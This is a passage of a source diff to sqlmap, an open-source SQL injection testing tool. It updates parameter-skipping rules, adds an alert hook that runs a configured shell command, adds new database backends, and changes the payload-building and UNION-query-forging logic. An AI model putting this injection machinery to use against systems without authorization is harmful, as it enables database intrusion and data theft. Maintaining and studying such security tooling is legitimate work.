+ infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
+ continue
+
if paramKey in kb.testedParams:
testSqlInj = False
@@ -534,7 +550,7 @@ def start():
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
- elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
+ elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)):
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
@@ -547,7 +563,7 @@ def start():
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
- elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+ elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)):
testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
@@ -558,7 +574,7 @@ def start():
if not check:
warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter)
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
@@ -600,6 +616,19 @@ def start():
kb.injections.append(injection)
+ if not kb.alerted:
+ if conf.alert:
+ infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
+ logger.info(infoMsg)
+ try:
+ process = subprocess.Popen(conf.alert, shell=True)
+ process.wait()
+ except Exception as ex:
+ errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
+ logger.error(errMsg)
+
+ kb.alerted = True
+
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
@@ -614,7 +643,7 @@ def start():
if not injectable:
warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter)
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
finally:
if place == PLACE.COOKIE:
@@ -711,7 +740,7 @@ def start():
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
choice = readInput(message, default='Y').upper()
@@ -738,7 +767,7 @@ def start():
if conf.multipleTargets:
_saveToResultsFile()
- errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
+ errMsg += ", skipping to the next target"
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
@@ -751,7 +780,7 @@ def start():
warnMsg = "it appears that the target "
warnMsg += "has a maximum connections "
warnMsg += "constraint"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if kb.dataOutputFlag and not conf.multipleTargets:
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index a54a13140b3..a2ea41f25bf 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,11 +1,13 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
+from lib.core.common import getSafeExString
+from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.dicts import DBMS_DICT
@@ -14,6 +16,7 @@
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import CACHE_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
@@ -37,60 +40,39 @@
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
+from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
-from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.access import AccessMap
-from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.cache import CacheMap
-from plugins.dbms.cratedb.connector import Connector as CrateDBConn
+from plugins.dbms.clickhouse import ClickHouseMap
from plugins.dbms.cratedb import CrateDBMap
-from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
-from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.db2 import DB2Map
-from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.derby import DerbyMap
-from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
-from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.h2 import H2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.informix.connector import Connector as InformixConn
from plugins.dbms.informix import InformixMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.mckoi.connector import Connector as MckoiConn
from plugins.dbms.mckoi import MckoiMap
-from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
from plugins.dbms.mimersql import MimerSQLMap
-from plugins.dbms.monetdb.connector import Connector as MonetDBConn
from plugins.dbms.monetdb import MonetDBMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.oracle import OracleMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.presto.connector import Connector as PrestoConn
from plugins.dbms.presto import PrestoMap
-from plugins.dbms.raima.connector import Connector as RaimaConn
from plugins.dbms.raima import RaimaMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.vertica.connector import Connector as VerticaConn
from plugins.dbms.vertica import VerticaMap
+from plugins.dbms.virtuoso import VirtuosoMap
+from plugins.dbms.snowflake import SnowflakeMap
def setHandler():
"""
@@ -99,32 +81,35 @@ def setHandler():
"""
items = [
- (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
- (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
- (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
- (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
- (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
- (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
- (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
- (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
- (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
- (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
- (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
- (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
- (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
- (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
- (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
- (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
- (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
- (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
- (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
- (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
- (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
- (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
- (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
- (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
- (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
- (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
+ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
+ (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
+ (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"),
+ (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"),
+ (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"),
+ (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"),
+ (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"),
+ (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"),
+ (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"),
+ (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"),
+ (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"),
+ (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"),
+ (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"),
+ (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"),
+ (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"),
+ (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"),
+ (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"),
+ (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"),
+ (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"),
+ (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"),
+ (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"),
+ (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"),
+ (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"),
+ (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"),
+ (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"),
+ (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"),
+ (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
+ (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
+ (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
@@ -132,7 +117,7 @@ def setHandler():
items.remove(_)
items.insert(0, _)
- for dbms, aliases, Handler, Connector in items:
+ for dbms, aliases, Handler, connector in items:
if conf.forceDbms:
if conf.forceDbms.lower() not in aliases:
continue
@@ -144,9 +129,12 @@ def setHandler():
continue
handler = Handler()
- conf.dbmsConnector = Connector()
+ conf.dbmsConnector = None
if conf.direct:
+ _ = __import__(connector, fromlist=['Connector'])
+ conf.dbmsConnector = _.Connector()
+
exception = None
dialect = DBMS_DICT[dbms][3]
@@ -163,16 +151,17 @@ def setHandler():
if not dialect or exception:
try:
conf.dbmsConnector.connect()
- except Exception as ex:
+ except NameError:
if exception:
raise exception
else:
- if not isinstance(ex, NameError):
- raise
- else:
- msg = "support for direct connection to '%s' is not available. " % dbms
- msg += "Please rerun with '--dependencies'"
- raise SqlmapConnectionException(msg)
+ msg = "support for direct connection to '%s' is not available. " % dbms
+ msg += "Please rerun with '--dependencies'"
+ raise SqlmapConnectionException(msg)
+ except:
+ if exception:
+ singleTimeWarnMessage(getSafeExString(exception))
+ raise
if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms:
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/lib/core/__init__.py
+++ b/lib/core/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/agent.py b/lib/core/agent.py
index d0df1a1ccbf..a0dc5b5be85 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -45,6 +45,7 @@
from lib.core.settings import BOUNDED_BASE64_MARKER
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
+from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import GENERIC_SQL_COMMENT
@@ -118,7 +119,10 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0]
else:
- origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ try:
+ origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ except IndexError:
+ pass
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ',', '&'):
if char in origValue:
@@ -129,10 +133,12 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
- origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue)
+ match = re.search(r"['\"]", origValue)
+ quote = match.group(0) if match else '"'
+ origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue)
else:
_ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or ""
- origValue = _.split('=', 1)[1] if '=' in _ else ""
+ origValue = _.split('=', 1)[1] if '=' in _ else _
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue[origValue.find(',') + 1:]
@@ -183,6 +189,11 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
newValue = self.adjustLateValues(newValue)
+ # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
+ if kb.customInjectionMark in origValue:
+ payload = newValue.replace(origValue, "")
+ newValue = origValue.replace(kb.customInjectionMark, payload)
+
# TODO: support for POST_HINT
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
@@ -194,9 +205,9 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
- if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
+ if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
- elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
+ elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
@@ -220,7 +231,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
def _(pattern, repl, string):
retVal = string
match = None
- for match in re.finditer(pattern, string):
+
+ for match in re.finditer(pattern, string or ""):
pass
if match:
@@ -398,7 +410,7 @@ def adjustLateValues(self, payload):
"""
if payload:
- for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
+ for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
payload = payload.replace(match.group(0), _)
@@ -415,6 +427,16 @@ def adjustLateValues(self, payload):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
+ elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,):
+ payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload)
+ if "SYS.USER$" in payload:
+ payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload)
+ payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload)
+
+ # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
+ match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload)
+ if match:
+ payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3))))
return payload
@@ -482,13 +504,13 @@ def nullAndCastField(self, field):
if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()]
- if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
+ if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
nulledCastedField = field
else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field
- if re.search("COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
+ if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
pass
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
@@ -574,7 +596,7 @@ def getFields(self, query):
"""
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
- fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
+ fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -589,6 +611,9 @@ def getFields(self, query):
if not _:
fieldsSelectFrom = None
+ if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
+ fieldsMinMaxstr = None
+
fieldsToCastStr = fieldsNoSelect
if fieldsSubstr:
@@ -699,7 +724,7 @@ def concatQuery(self, query, unpack=True):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -722,7 +747,7 @@ def concatQuery(self, query, unpack=True):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
- topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
+ topNum = fieldsSelectTop.group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
@@ -861,29 +886,36 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char,
query = query[len("TOP %s " % topNum):]
unionQuery += "TOP %s " % topNum
- intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
+ intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
- if intoRegExp:
- intoRegExp = intoRegExp.group(1)
- query = query[:query.index(intoRegExp)]
+ if intoFileRegExp:
+ infoFile = intoFileRegExp.group(1)
+ query = query[:query.index(infoFile)]
position = 0
char = NULL
+ else:
+ infoFile = None
for element in xrange(0, count):
if element > 0:
unionQuery += ','
- if element == position:
+ if conf.uValues and conf.uValues.count(',') + 1 == count:
+ unionQuery += conf.uValues.split(',')[element]
+ elif element == position:
unionQuery += query
else:
unionQuery += char
+ if conf.uValues:
+ unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query)
+
if fromTable and not unionQuery.endswith(fromTable):
unionQuery += fromTable
- if intoRegExp:
- unionQuery += intoRegExp
+ if infoFile:
+ unionQuery += infoFile
if multipleUnions:
unionQuery += " UNION ALL SELECT "
@@ -1009,19 +1041,19 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA):
+ if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
- limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
+ elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
+ limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
- limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
+ elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
+ limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
+ elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
if query.startswith("SELECT "):
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py
index ffe754f3928..7e33524b8d4 100644
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -12,8 +12,10 @@
import itertools
import os
+import shutil
import sys
import tempfile
+import threading
import zlib
from lib.core.compat import xrange
@@ -22,7 +24,17 @@
from lib.core.settings import BIGARRAY_CHUNK_SIZE
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
-DEFAULT_SIZE_OF = sys.getsizeof(object())
+try:
+ DEFAULT_SIZE_OF = sys.getsizeof(object())
+except TypeError:
+ DEFAULT_SIZE_OF = 16
+
+try:
+ # Python 2: basestring covers str and unicode
+ STRING_TYPES = (basestring,)
+except NameError:
+ # Python 3: str and bytes are separate
+ STRING_TYPES = (str, bytes)
def _size_of(instance):
"""
@@ -31,10 +43,12 @@ def _size_of(instance):
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
- if isinstance(instance, dict):
+ if isinstance(instance, STRING_TYPES):
+ return retval
+ elif isinstance(instance, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
- elif hasattr(instance, "__iter__"):
- retval += sum(_size_of(_) for _ in instance if _ != instance)
+ elif isinstance(instance, (list, tuple, set, frozenset)):
+ retval += sum(_size_of(_) for _ in instance if _ is not instance)
return retval
@@ -52,51 +66,101 @@ class BigArray(list):
"""
List-like class used for storing large amounts of data (disk cached)
- >>> _ = BigArray(xrange(100000))
+ >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024)
>>> _[20] = 0
+ >>> _[-1] = 999
>>> _[99999]
- 99999
+ 999
+ >>> _[100000]
+ Traceback (most recent call last):
+ ...
+ IndexError: BigArray index out of range
+ >>> _ += [0]
+ >>> sum(_)
+ 4999850980
+ >>> _[len(_) // 2] = 17
+ >>> sum(_)
+ 4999800997
+ >>> _[100000]
+ 0
+ >>> _[0] = [None]
+ >>> _.index(0)
+ 20
+ >>> import pickle; __ = pickle.loads(pickle.dumps(_))
+ >>> __.append(1)
+ >>> len(_)
+ 100001
+ >>> _ = __
+ >>> _[-1]
+ 1
+ >>> _.pop()
+ 1
+ >>> len(_)
+ 100001
+ >>> len([_ for _ in BigArray(xrange(100000))])
+ 100000
"""
- def __init__(self, items=None):
+ def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE):
self.chunks = [[]]
self.chunk_length = sys.maxsize
self.cache = None
self.filenames = set()
+ self._lock = threading.Lock()
self._os_remove = os.remove
self._size_counter = 0
+ self._chunk_size = chunk_size
for item in (items or []):
self.append(item)
+ def __add__(self, value):
+ retval = BigArray(self)
+
+ for _ in value:
+ retval.append(_)
+
+ return retval
+
